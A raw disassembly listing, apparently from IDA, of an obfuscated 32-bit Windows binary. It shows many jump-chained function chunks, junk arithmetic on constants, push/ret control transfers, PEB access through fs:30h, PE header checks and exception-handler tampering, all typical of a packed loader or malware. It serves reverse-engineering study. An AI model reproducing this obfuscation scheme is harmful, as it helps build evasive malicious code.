; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40F615:				; CODE XREF: sub_40892F:loc_40C492j
		add	eax, 54h
		mov	eax, [eax]
		or	eax, eax
		jz	loc_40860C
		jmp	loc_407427
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C0FD


loc_40F627:				; CODE XREF: sub_40C0FD+1A94j
		add	edx, 0D59088CDh
		pushf
		push	offset loc_407CAF
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_40C0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_40F638:				; CODE XREF: sub_40DF94:loc_40DA36j
		ror	eax, 14h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_40F63D:				; CODE XREF: sub_405AFA+Dj
		jmp	loc_4064A5
; END OF FUNCTION CHUNK	FOR sub_405AFA

; =============== S U B	R O U T	I N E =======================================



sub_40F642	proc near		; CODE XREF: sub_4067F8+3p
					; sub_4108AF-30F0p

; FUNCTION CHUNK AT 0040A4FE SIZE 00000016 BYTES

		push	ebp
		jmp	loc_40A4FE
sub_40F642	endp

; ---------------------------------------------------------------------------
		mov	edi, esi
		xor	esi, ecx
		jmp	sub_405019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_40F651:				; CODE XREF: sub_4055D2+13j
					; sub_4068BD+Dj ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4055D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40F658:				; CODE XREF: _837l4vi2:0040BFEFj
					; sub_40926F+51B6j
		inc	[ebp+var_18]
		call	sub_4068BD
		xchg	eax, edi
		jmp	sub_40CEC1
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40F667:				; CODE XREF: _837l4vi2:0040DEBAj
		push	0B970B225h
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40F66C:				; CODE XREF: sub_40DFF5:loc_40DEA9j
		add	ebx, 0CD87178Eh
		xchg	ebx, [esp+0Ch+var_C]
		jmp	sub_405606
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------


loc_40F67A:				; CODE XREF: _837l4vi2:0040D643j
		jb	loc_4096B4

; =============== S U B	R O U T	I N E =======================================



sub_40F680	proc near		; CODE XREF: sub_40A7F9+610p

; FUNCTION CHUNK AT 004094BF SIZE 00000004 BYTES

		mov	[esp+0], esi
		pop	esi
		add	esi, 0F9C048F6h
		jmp	loc_4094BF
sub_40F680	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F68F	proc near		; DATA XREF: sub_40833D+30Eo

; FUNCTION CHUNK AT 004066C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C715 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F048 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410F13 SIZE 0000000E BYTES

		add	eax, ebp
		add	eax, 0CD33CF30h
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_4066C1
sub_40F68F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4069AA


loc_40F6A8:				; CODE XREF: sub_4069AA:loc_40A794j
		add	edx, 0A7F017DAh
		xchg	edx, [esp+4+var_4]
		jmp	loc_40DF62
; END OF FUNCTION CHUNK	FOR sub_4069AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407287


loc_40F6B6:				; CODE XREF: sub_407287+1Dj
		pop	ecx
		jmp	loc_40E5C9
; ---------------------------------------------------------------------------


loc_40F6BC:				; CODE XREF: sub_407287+4j
		test	byte ptr [ebp-8], 40h
		jz	loc_40E5CC
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40926F
		jmp	loc_406750
; END OF FUNCTION CHUNK	FOR sub_407287
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_40AA72
		jmp	loc_40EE05
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40F6E2:				; CODE XREF: sub_405950+5875j
		jmp	loc_40AABC
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40F6E7:				; CODE XREF: sub_40966E-130Bj
		pushf
		sbb	ecx, ebx
		ror	ecx, 1Fh


loc_40F6ED:				; CODE XREF: sub_4052A5:loc_406BCDj
		push	offset sub_40D50E
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40F6F7:				; CODE XREF: _837l4vi2:0040951Ej
		mov	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_40F6F9	proc near		; CODE XREF: sub_40B7D8:loc_40C19Fp

; FUNCTION CHUNK AT 00408A7B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040AF34 SIZE 00000005 BYTES

		xchg	edx, [esp+0]


loc_40F6FC:				; CODE XREF: sub_405D62:loc_40DF83j
		pop	edx
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_408A89
		jmp	loc_40AF34
sub_40F6F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40F714:				; CODE XREF: sub_409CCE+4CAAj
		shl	ecx, 9
		cdq
		adc	ebx, 4F40C2BCh
		jmp	loc_40FB23
; END OF FUNCTION CHUNK	FOR sub_409CCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_40F723:				; CODE XREF: sub_4085A2:loc_40CB20j
		xchg	ecx, [esp+8+var_8]
		jmp	loc_409EC2
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
		mov	edi, 66F95DCAh
		jmp	sub_405984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_40F735:				; CODE XREF: sub_40DF94+2DECj
		pop	eax
		jnz	loc_40C242
		ror	ecx, 16h
		jmp	loc_4076C4
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40F744:				; CODE XREF: sub_407EF6-6A8j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CD


loc_40F748:				; CODE XREF: sub_4091CD+Dj
		jmp	loc_406B0B
; END OF FUNCTION CHUNK	FOR sub_4091CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_40F74D:				; CODE XREF: sub_4055D2+521j
		jmp	loc_407322
; END OF FUNCTION CHUNK	FOR sub_4055D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40F752:				; CODE XREF: sub_407EF6:loc_407836j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jmp	loc_40B821
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------

locret_40F75D:				; CODE XREF: _837l4vi2:loc_40828Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_40F75E:				; CODE XREF: sub_40BE1F+8j
		jnz	loc_4066FA
		jmp	loc_40CC22
; END OF FUNCTION CHUNK	FOR sub_40BE1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40F769:				; CODE XREF: sub_406ADC+92BDj
		jnz	loc_40C1DD
		jmp	loc_407DB3
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_40F774:				; CODE XREF: sub_4064E6:loc_407B95j
		jg	loc_40B37F
		jmp	loc_40D60C
; END OF FUNCTION CHUNK	FOR sub_4064E6
; ---------------------------------------------------------------------------
		push	0D1543011h
		pop	edx
		xor	edx, 0E2E29D97h
		or	edx, 9C579E76h
		test	edx, 8000h
		jmp	loc_410694
; ---------------------------------------------------------------------------


loc_40F79C:				; CODE XREF: _837l4vi2:00410DC8j
					; DATA XREF: sub_407641:loc_40AC79o
		pop	edi
		mov	eax, [ebp-0Ch]
		mov	ecx, 3FBh
		xor	edx, edx
		jmp	loc_409B7E
; ---------------------------------------------------------------------------


loc_40F7AC:				; CODE XREF: _837l4vi2:0040584Bj
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jb	loc_40F1F8
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		jmp	loc_40ABA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_40F7C3:				; CODE XREF: sub_40F9B3:loc_40F9BBj
					; sub_41020E+320j
		ror	eax, 4
		call	sub_40ABCA


loc_40F7CB:				; CODE XREF: sub_40BF48+3F0Cj
		add	edx, 8E3DCA1Ah
		xchg	edx, [esp+0]
		jmp	sub_409153
; END OF FUNCTION CHUNK	FOR sub_40F9B3
; ---------------------------------------------------------------------------
		call	sub_4052A5
; START	OF FUNCTION CHUNK FOR sub_405E3F


loc_40F7DE:				; CODE XREF: sub_405E3F+1DCAj
		jmp	loc_409429
; END OF FUNCTION CHUNK	FOR sub_405E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409868


loc_40F7E3:				; CODE XREF: sub_409868:loc_40C638j
		add	edx, 8C096E76h
		xchg	edx, [esp+4+var_4]
		jmp	loc_408F40
; END OF FUNCTION CHUNK	FOR sub_409868
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDE4


loc_40F7F1:				; CODE XREF: sub_40BDE4:loc_40AA2Fj
		ja	loc_4059F2
		and	ebx, 1C72D911h
		shr	esi, 10h
		pop	ebp
		jmp	loc_406C39
; END OF FUNCTION CHUNK	FOR sub_40BDE4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40F807:				; CODE XREF: _837l4vi2:00405CAFj
		jmp	loc_40AD0F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_411059


loc_40F80D:				; CODE XREF: sub_411059+7j
		jmp	loc_40FDDC
; END OF FUNCTION CHUNK	FOR sub_411059

; =============== S U B	R O U T	I N E =======================================



sub_40F812	proc near		; CODE XREF: _837l4vi2:loc_4065FFp
					; sub_40611B:loc_40C54Fj

; FUNCTION CHUNK AT 00407460 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004076EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407C9D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00408AEC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040AA18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D4F3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E938 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E9F8 SIZE 0000000D BYTES

		js	loc_40D504


loc_40F818:				; CODE XREF: _837l4vi2:0040A68Fj
		mov	eax, (offset loc_40DF1A+2)
		call	sub_40E9D8
		test	al, al
		jz	locret_40E9D2
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		jmp	loc_40D4F3
sub_40F812	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_40F83A:				; CODE XREF: sub_410D95-2073j
		jmp	loc_410B48
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
		mov	[ebp+0], eax
		jmp	loc_40A6CD
; ---------------------------------------------------------------------------


loc_40F847:				; CODE XREF: _837l4vi2:0041085Dj
		pop	edx
		pop	ecx
		xchg	ecx, [esp]
		push	ecx
		pop	ebx
		pop	ecx
		pop	ebp
		jmp	loc_40CE3B
; ---------------------------------------------------------------------------
		mov	eax, 438E47A7h
		jmp	loc_40AB5C
; ---------------------------------------------------------------------------
		cdq
		ja	loc_4099D0
		jmp	sub_40CE96
; ---------------------------------------------------------------------------
		add	eax, 0BB8h
		push	eax
		call	sub_40B7A1
		push	offset sub_407FBB
		jmp	loc_407308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40F880:				; CODE XREF: sub_40892F:loc_40EE95j
		jmp	loc_40757D
; ---------------------------------------------------------------------------


loc_40F885:				; CODE XREF: sub_40892F+8200j
					; sub_40892F+820Ej
		jno	loc_405C78
		mov	eax, [ebp-4]
		call	sub_40DE68
		push	offset loc_40CB34
		jmp	loc_40EB88
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40F89D:				; CODE XREF: sub_4078C8+1EF1j
		add	esi, 395B375Ah
		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 4550h
		jnz	loc_408A0C
		jmp	loc_40774C
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_40F8BA:				; CODE XREF: _837l4vi2:0040826Cj
		jl	loc_40C69E
		and	esi, 0ADC173BFh
		jmp	loc_40EF82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40F8CB:				; CODE XREF: sub_41087A-6B61j
		cmp	edi, 6EFDF020h
		jmp	loc_406189
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40F8D6:				; CODE XREF: sub_405BB4+572Dj
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_4088F9
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		jmp	loc_408DDB
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40F8EE:				; CODE XREF: sub_40D735:loc_40E869j
		jz	loc_407334
		jmp	loc_40AECA
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------


loc_40F8F9:				; CODE XREF: _837l4vi2:0040FD86j
		mov	esp, ebp
		call	sub_40D451
		rol	ebp, 18h
		jmp	loc_40D1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40F908:				; CODE XREF: sub_40D735:loc_4051D3j
		jz	loc_40AD1B
		jmp	loc_40D164
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40F913:				; CODE XREF: sub_4108AF-57BCj
		mov	edx, esi
; END OF FUNCTION CHUNK	FOR sub_4108AF
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40F915:				; CODE XREF: sub_405F85+Ej
		pop	esi
		xor	edx, 0B674AFBBh
		call	sub_40C619


loc_40F921:				; CODE XREF: sub_405950+92C9j
		jmp	loc_4085C8
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40F926:				; CODE XREF: sub_40966E+4E1Fj
		jmp	loc_406BAE
; END OF FUNCTION CHUNK	FOR sub_40966E

; =============== S U B	R O U T	I N E =======================================



sub_40F92B	proc near		; DATA XREF: sub_40F3BA+72Co
		inc	dword ptr [ebp-4]
		call	sub_409EE8
sub_40F92B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40B7DE


loc_40F933:				; CODE XREF: sub_40B7DE-6665j
		shl	eax, cl
		mov	edx, [ebp-14h]
		shr	edx, 3
		push	offset loc_40896B
		jmp	loc_40DFD0
; END OF FUNCTION CHUNK	FOR sub_40B7DE
; ---------------------------------------------------------------------------


loc_40F945:				; CODE XREF: _837l4vi2:0040FD8Cj
		jnz	loc_408CF1
		jmp	loc_40ACB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406637


loc_40F950:				; CODE XREF: sub_406637:loc_40F3E9j
		pop	edi
		xor	edi, 99A8A234h
		add	edi, ebp
		add	edi, 7F7D1BB8h
		mov	[edi], eax
		push	offset loc_40CA30
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_406637
; ---------------------------------------------------------------------------
		or	ecx, 5A5B0D5Fh
		jmp	loc_4078E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40F976:				; CODE XREF: sub_40BF48:loc_40763Bj
		jz	loc_4058F6
		jmp	loc_40F5EE
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
		not	esi
		pop	esi
		jmp	sub_40A26E
; ---------------------------------------------------------------------------


loc_40F989:				; DATA XREF: sub_409153+1o
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	29454F3Bh
		pop	eax
		jmp	loc_4052B6
; ---------------------------------------------------------------------------


loc_40F99A:				; CODE XREF: _837l4vi2:004106CBj
		mov	eax, [ebp-4]
		push	eax
		call	sub_405C17
		call	sub_408F30
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_40F9A8:				; CODE XREF: sub_41020E-3032j
		jmp	loc_409E7C
; END OF FUNCTION CHUNK	FOR sub_41020E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F9E


loc_40F9AE:				; CODE XREF: sub_405F9E+5E38j
		jmp	loc_408DA9
; END OF FUNCTION CHUNK	FOR sub_405F9E

; =============== S U B	R O U T	I N E =======================================



sub_40F9B3	proc near		; DATA XREF: sub_40E5A7+Ao

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004077DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A23A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040CBF2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040DDFF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040F34B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F7C3 SIZE 00000016 BYTES

		mov	eax, ds:dword_41103C
		or	eax, eax


loc_40F9BB:				; CODE XREF: _837l4vi2:004078F7j
		jnz	loc_40F7C3
		jmp	loc_4077DB
sub_40F9B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410362


loc_40F9C6:				; CODE XREF: sub_410362-5377j
		jz	loc_40E98C
		mov	eax, [ebp-4]
		mov	ax, [eax]
		and	ax, 38FFh
		cmp	ax, 20FFh
		jz	loc_40E98C
		xor	eax, eax
		jmp	loc_4060F1
; END OF FUNCTION CHUNK	FOR sub_410362
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40F9E8:				; CODE XREF: sub_40B67D+515Dj
		jmp	loc_40EC94
; END OF FUNCTION CHUNK	FOR sub_40B67D

; =============== S U B	R O U T	I N E =======================================



sub_40F9ED	proc near		; CODE XREF: sub_40CAD0:loc_4069E0j
					; sub_40B67D:loc_4107CCp
		call	sub_40D798
sub_40F9ED	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40A34C


loc_40F9F2:				; CODE XREF: sub_40A34C+13j
		jmp	loc_40F247
; END OF FUNCTION CHUNK	FOR sub_40A34C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C37


loc_40F9F7:				; CODE XREF: sub_405C37+39F3j
		jmp	sub_406C77
; END OF FUNCTION CHUNK	FOR sub_405C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406327


loc_40F9FC:				; CODE XREF: sub_406327+Fj
		jmp	loc_40DAFC
; END OF FUNCTION CHUNK	FOR sub_406327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_40FA01:				; CODE XREF: sub_405984+2FA6j
		add	[esi], eax
		push	edi
		push	8DBA3141h
		mov	edi, offset loc_40E11F
		xchg	edi, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_405984
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40FA13:				; CODE XREF: _837l4vi2:0040E774j
		jl	loc_405A05
		sbb	ebp, ecx


loc_40FA1B:				; CODE XREF: _837l4vi2:loc_40D016j
		xor	eax, 0F4B11FE4h
		add	eax, ebp
		add	eax, 47EB19F2h
		mov	eax, [eax]
		popf
		jmp	loc_40F0FD
; ---------------------------------------------------------------------------
		pop	ecx
		push	ebp
		push	57424E5Ch
		pop	eax
		add	eax, 7053347Fh
		jnz	loc_4080D4
; START	OF FUNCTION CHUNK FOR sub_40DDF1


loc_40FA45:				; CODE XREF: sub_40DDF1-64A2j
		jmp	loc_4106A8
; END OF FUNCTION CHUNK	FOR sub_40DDF1
; ---------------------------------------------------------------------------


loc_40FA4A:				; CODE XREF: _837l4vi2:00405EADj
		jmp	sub_40E739
; ---------------------------------------------------------------------------
		sbb	ecx, eax
		jmp	loc_4080C6
; ---------------------------------------------------------------------------

locret_40FA56:				; CODE XREF: _837l4vi2:0040EA9Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_40FA57:				; CODE XREF: sub_41020E+326j
		jmp	loc_405AB1
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_40FA5C:				; CODE XREF: sub_40C5BE-F46j
					; sub_405C17:loc_40C67Fj
		jmp	loc_40D2BE
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------

locret_40FA61:				; CODE XREF: _837l4vi2:loc_40F591j
		retn
; ---------------------------------------------------------------------------


loc_40FA62:				; CODE XREF: _837l4vi2:0040A3C0j
					; _837l4vi2:0040B6EEj ...
		call	sub_405606
		mov	edx, 1AE260E8h
		call	sub_40E739
		push	eax
		jmp	loc_40C239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B601


loc_40FA77:				; CODE XREF: sub_40B601j
		call	sub_40A485


loc_40FA7C:				; CODE XREF: sub_40E449+15j
		jmp	loc_407BCE
; END OF FUNCTION CHUNK	FOR sub_40B601
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40FA82:				; CODE XREF: sub_40966E-141Ej
		jmp	loc_40E477
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40FA87:				; CODE XREF: _837l4vi2:loc_4104A2j
		lea	eax, sub_40FA97
		mov	[ecx+0B8h], eax
; START	OF FUNCTION CHUNK FOR sub_409ADF


loc_40FA93:				; CODE XREF: sub_409ADF+2B6Fj
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_409ADF

; =============== S U B	R O U T	I N E =======================================



sub_40FA97	proc near		; DATA XREF: _837l4vi2:loc_40FA87o
					; sub_40FE28+Ao

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00406ABE SIZE 00000019 BYTES

		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_406ABE
sub_40FA97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40FAA6:				; CODE XREF: sub_40D735-5516j
		xor	eax, 0B0206BA9h
		or	edx, ebp
		mov	esi, [ecx]
		jmp	loc_408327
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405492


loc_40FAB5:				; CODE XREF: sub_405492:loc_406D1Fj
					; _837l4vi2:0040F2EEj ...
		dec	ds:dword_4109D0
		push	5FFBD0BAh
		pop	eax
		or	eax, 9393B085h
		and	eax, 0C3B03EF1h
		add	eax, 18A9F63Bh
		add	eax, ebp
		jmp	loc_4089E1
; END OF FUNCTION CHUNK	FOR sub_405492
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_4073E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F3BA


loc_40FAE0:				; CODE XREF: sub_40F3BA+17j
		mov	edx, [ebp+8]
		mov	[edx-18h], eax
		push	offset sub_40F92B


loc_40FAEB:				; CODE XREF: _837l4vi2:loc_4103ECj
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_40F3BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40FAF0:				; CODE XREF: sub_40C3AF+BEj
		and	ebp, edi


loc_40FAF2:				; CODE XREF: sub_40C3AF:loc_4065D8j
		call	sub_410B5D
		push	offset loc_40D3CF
		jmp	loc_40CD29
; END OF FUNCTION CHUNK	FOR sub_40C3AF

; =============== S U B	R O U T	I N E =======================================



sub_40FB01	proc near		; CODE XREF: sub_40A526:loc_40E5BEp
					; _837l4vi2:004105F3j

; FUNCTION CHUNK AT 00406A0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00407B59 SIZE 0000000A BYTES

		mov	[esp+0], ebx
		pop	ebx
		js	loc_406A0B
		push	offset loc_407248
		jmp	nullsub_127
sub_40FB01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		push	ecx
		xchg	eax, ecx
		rol	eax, 0Dh
		jmp	loc_40D89F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40FB23:				; CODE XREF: sub_409CCE+5A50j
		mov	edx, esi
		ror	ebp, 1Dh


loc_40FB28:				; CODE XREF: sub_409CCE:loc_40E972j
		call	sub_409D6B
		push	39DBD72Dh
		pop	edx
		xor	edx, 1EA5297Ah
		jmp	loc_40950B
; END OF FUNCTION CHUNK	FOR sub_409CCE
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 11h
		mov	ds:dword_40B610, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_40FB49:				; CODE XREF: sub_40D74E-6E0Fj
		call	sub_407918
; END OF FUNCTION CHUNK	FOR sub_40D74E
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40FB4E:				; CODE XREF: sub_4065B8-132Dj
		jnz	loc_409D24
		pushf
		and	edi, ecx
		jz	loc_40F4AF
		jmp	loc_4067CF
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40FB62:				; CODE XREF: sub_40BF48-1DE2j
		jz	loc_40EFDB
		jmp	loc_408C03
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6CA


loc_40FB6D:				; CODE XREF: sub_40C6CA+9j
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		call	sub_40A526
; END OF FUNCTION CHUNK	FOR sub_40C6CA

; =============== S U B	R O U T	I N E =======================================



sub_40FB7C	proc near		; CODE XREF: _837l4vi2:004078AFj
					; sub_409D80+3CE4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004104BA SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp-4+arg_0]
		push	offset sub_40FF31
		jmp	loc_4104BA
sub_40FB7C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B952


loc_40FB8F:				; CODE XREF: sub_40B952+Ej
		jmp	sub_40A9F1
; END OF FUNCTION CHUNK	FOR sub_40B952
; ---------------------------------------------------------------------------

locret_40FB94:				; CODE XREF: _837l4vi2:0040871Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407641


loc_40FB95:				; CODE XREF: sub_407641+363Dj
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_407641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A526


loc_40FB9A:				; CODE XREF: sub_40A526-BD7j
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_40A526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40FB9F:				; CODE XREF: sub_40966E-F81j
		jmp	loc_40CC3F
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
